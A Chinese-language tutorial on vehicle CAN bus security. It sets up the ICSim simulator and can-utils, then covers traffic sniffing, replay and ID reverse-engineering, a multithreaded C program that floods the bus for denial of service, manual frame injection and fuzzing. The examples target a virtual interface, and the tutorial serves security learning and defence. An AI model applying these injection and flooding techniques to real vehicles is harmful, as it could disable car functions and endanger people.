浅谈车辆CAN总线安全
字数 1600 2025-08-22 12:23:13

车辆CAN总线安全教学文档

1. CAN总线简介

CAN总线(Controller Area Network)是一种广泛应用于汽车、工业控制和其他领域的串行通信协议。由德国Bosch公司于1986年开发,1987年正式发布。

1.1 应用领域

  • 汽车电子控制单元(ECU)间通信:引擎控制、刹车系统、仪表盘等
  • 工业自动化、机器人技术、医疗设备等分布式控制系统

1.2 总线优势

  • 替代传统点对点布线系统,减少线路复杂度
  • 降低维护成本
  • 提高通信效率

2. CAN总线接入方式

2.1 OBD接口接入

  • 位置:通常位于前排乘客或驾驶员座位附近
  • 相关引脚:6号(CAN高电平)和14号(CAN低电平)
  • 连接工具:专用CAN总线分析工具

2.2 其他接入方式

  • 破线接入:通过物理破坏线束接入
  • 车内零部件控制:通过已攻克的零部件间接接入

3. 实验环境搭建

3.1 所需工具

  • Linux系统(推荐Kali Linux)
  • ICSim模拟器
  • can-utils工具集
  • socketcand
  • CAN分析工具(SavvyCAN或Kayak)

3.2 ICSim安装

git clone https://github.com/zombieCraig/ICSim.git
cd ICSim
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf -y
sudo make

3.3 can-utils安装

sudo apt-get install can-utils

3.4 socketcand安装

git clone https://github.com/linux-can/socketcand.git
cd socketcand
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
autoconf
./configure
make clean
make
sudo make install

3.5 SavvyCAN安装

wget https://github.com/collin80/SavvyCAN/releases/download/continuous/SavvyCAN-1999da8-x86_64.AppImage
chmod 777 SavvyCAN-1999da8-x86_64.AppImage
./SavvyCAN-044fea3-x86_64.AppImage

3.6 启动ICSim

./setup_vcan.sh  # 初始化虚拟CAN接口
./icsim vcan0    # 启动仪表盘模拟器
./controls vcan0 # 启动控制面板

4. CAN总线基本操作

4.1 控制面板操作

功能 按键
加速 上方向键
左转向 左方向键
右转向 右方向键
开/关左前车门锁 右/左shift+A
开/关右前车门锁 右/左shift+B
开/关左后车门锁 右/左shift+X
开/关右后车门锁 右/左shift+Y
开启所有车门锁 左shift+右shift
关闭所有车门锁 右shift+左shift

4.2 CAN流量监听

4.2.1 使用can-utils

candump -l vcan0  # 记录到文件
candump vcan0     # 实时显示

数据格式:(时间戳) 接口 仲裁ID#数据

4.2.2 使用cansniffer

cansniffer -c vcan0

变化的数据会以红色显示

4.2.3 使用Wireshark

直接监听vcan0接口

4.2.4 使用SavvyCAN

  1. Connection -> Open Connection Window
  2. Add New Device Connection
  3. 选择QT SerialBus Devices
  4. SerialBus Devices选择socketcan
  5. Port选择vcan0

4.3 CAN流量重放

canplayer -I 日志文件.log

4.4 消息逆向

通过观察法确定仲裁ID对应功能:

  1. 在SavvyCAN中观察所有活跃ID
  2. 执行特定操作(如踩油门)
  3. 观察哪些ID的数据随之变化
  4. 重复操作缩小范围,确定具体ID

4.5 发送CAN消息

cansend vcan0 244#0000003894

持续发送示例(Python):

import os
import time
while True:
    os.system("cansend vcan0 244#0000003894")
    time.sleep(1)

5. CAN总线攻击技术

5.1 DOS攻击原理

利用CAN总线基于优先级的仲裁机制,通过发送高优先级消息使其他消息无法响应

5.2 手动DOS攻击

  1. 确定低优先级操作:
cansend vcan0 19B#00000E000000  # 开车门
cansend vcan0 19B#00000F000000  # 关车门
  1. 发送高优先级消息干扰:
cansend vcan0 188#01000000  # 左转向灯(高优先级)

5.3 多线程DOS攻击(C语言)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

void *send_message(void *arg) {
    while(1) {
        system("cansend vcan0 188#01000000");
    }
    return NULL;
}

int main() {
    pthread_t threads[100];
    for(int i = 0; i < 100; i++) {
        pthread_create(&threads[i], NULL, send_message, NULL);
    }
    while(1) {
        sleep(1);
    }
    return 0;
}

编译运行:

gcc -o attack main.c -pthread
./attack

5.4 FUZZ攻击

通过发送特定CAN数据帧使车内零部件崩溃或发出警报:

  1. 需要实际接入车辆测试
  2. 不断修改数据帧进行测试
  3. 观察系统反应

6. 防御措施

  1. CAN总线入侵检测系统
  2. 消息认证机制
  3. 加密通信
  4. 防火墙隔离关键ECU
  5. 速率限制和异常检测

7. 参考资源

  1. ICSim GitHub
  2. can-utils GitHub
  3. socketcand GitHub
  4. SavvyCAN官方网站
  5. 汽车CAN总线安全研究论文

本教学文档详细介绍了CAN总线的基本概念、实验环境搭建、基本操作和安全测试技术,涵盖了从入门到实战的完整内容。通过ICSim模拟器,安全研究人员可以在不接触真实车辆的情况下学习和实践CAN总线安全技术。

车辆CAN总线安全教学文档 1. CAN总线简介 CAN总线(Controller Area Network)是一种广泛应用于汽车、工业控制和其他领域的串行通信协议。由德国Bosch公司于1986年开发,1987年正式发布。 1.1 应用领域 汽车电子控制单元(ECU)间通信:引擎控制、刹车系统、仪表盘等 工业自动化、机器人技术、医疗设备等分布式控制系统 1.2 总线优势 替代传统点对点布线系统,减少线路复杂度 降低维护成本 提高通信效率 2. CAN总线接入方式 2.1 OBD接口接入 位置:通常位于前排乘客或驾驶员座位附近 相关引脚:6号(CAN高电平)和14号(CAN低电平) 连接工具:专用CAN总线分析工具 2.2 其他接入方式 破线接入:通过物理破坏线束接入 车内零部件控制:通过已攻克的零部件间接接入 3. 实验环境搭建 3.1 所需工具 Linux系统(推荐Kali Linux) ICSim模拟器 can-utils工具集 socketcand CAN分析工具(SavvyCAN或Kayak) 3.2 ICSim安装 3.3 can-utils安装 3.4 socketcand安装 3.5 SavvyCAN安装 3.6 启动ICSim 4. CAN总线基本操作 4.1 控制面板操作 | 功能 | 按键 | |------|------| | 加速 | 上方向键 | | 左转向 | 左方向键 | | 右转向 | 右方向键 | | 开/关左前车门锁 | 右/左shift+A | | 开/关右前车门锁 | 右/左shift+B | | 开/关左后车门锁 | 右/左shift+X | | 开/关右后车门锁 | 右/左shift+Y | | 开启所有车门锁 | 左shift+右shift | | 关闭所有车门锁 | 右shift+左shift | 4.2 CAN流量监听 4.2.1 使用can-utils 数据格式: (时间戳) 接口 仲裁ID#数据 4.2.2 使用cansniffer 变化的数据会以红色显示 4.2.3 使用Wireshark 直接监听vcan0接口 4.2.4 使用SavvyCAN Connection -> Open Connection Window Add New Device Connection 选择QT SerialBus Devices SerialBus Devices选择socketcan Port选择vcan0 4.3 CAN流量重放 4.4 消息逆向 通过观察法确定仲裁ID对应功能: 在SavvyCAN中观察所有活跃ID 执行特定操作(如踩油门) 观察哪些ID的数据随之变化 重复操作缩小范围,确定具体ID 4.5 发送CAN消息 持续发送示例(Python): 5. CAN总线攻击技术 5.1 DOS攻击原理 利用CAN总线基于优先级的仲裁机制,通过发送高优先级消息使其他消息无法响应 5.2 手动DOS攻击 确定低优先级操作: 发送高优先级消息干扰: 5.3 多线程DOS攻击(C语言) 编译运行: 5.4 FUZZ攻击 通过发送特定CAN数据帧使车内零部件崩溃或发出警报: 需要实际接入车辆测试 不断修改数据帧进行测试 观察系统反应 6. 防御措施 CAN总线入侵检测系统 消息认证机制 加密通信 防火墙隔离关键ECU 速率限制和异常检测 7. 参考资源 ICSim GitHub can-utils GitHub socketcand GitHub SavvyCAN官方网站 汽车CAN总线安全研究论文 本教学文档详细介绍了CAN总线的基本概念、实验环境搭建、基本操作和安全测试技术,涵盖了从入门到实战的完整内容。通过ICSim模拟器,安全研究人员可以在不接触真实车辆的情况下学习和实践CAN总线安全技术。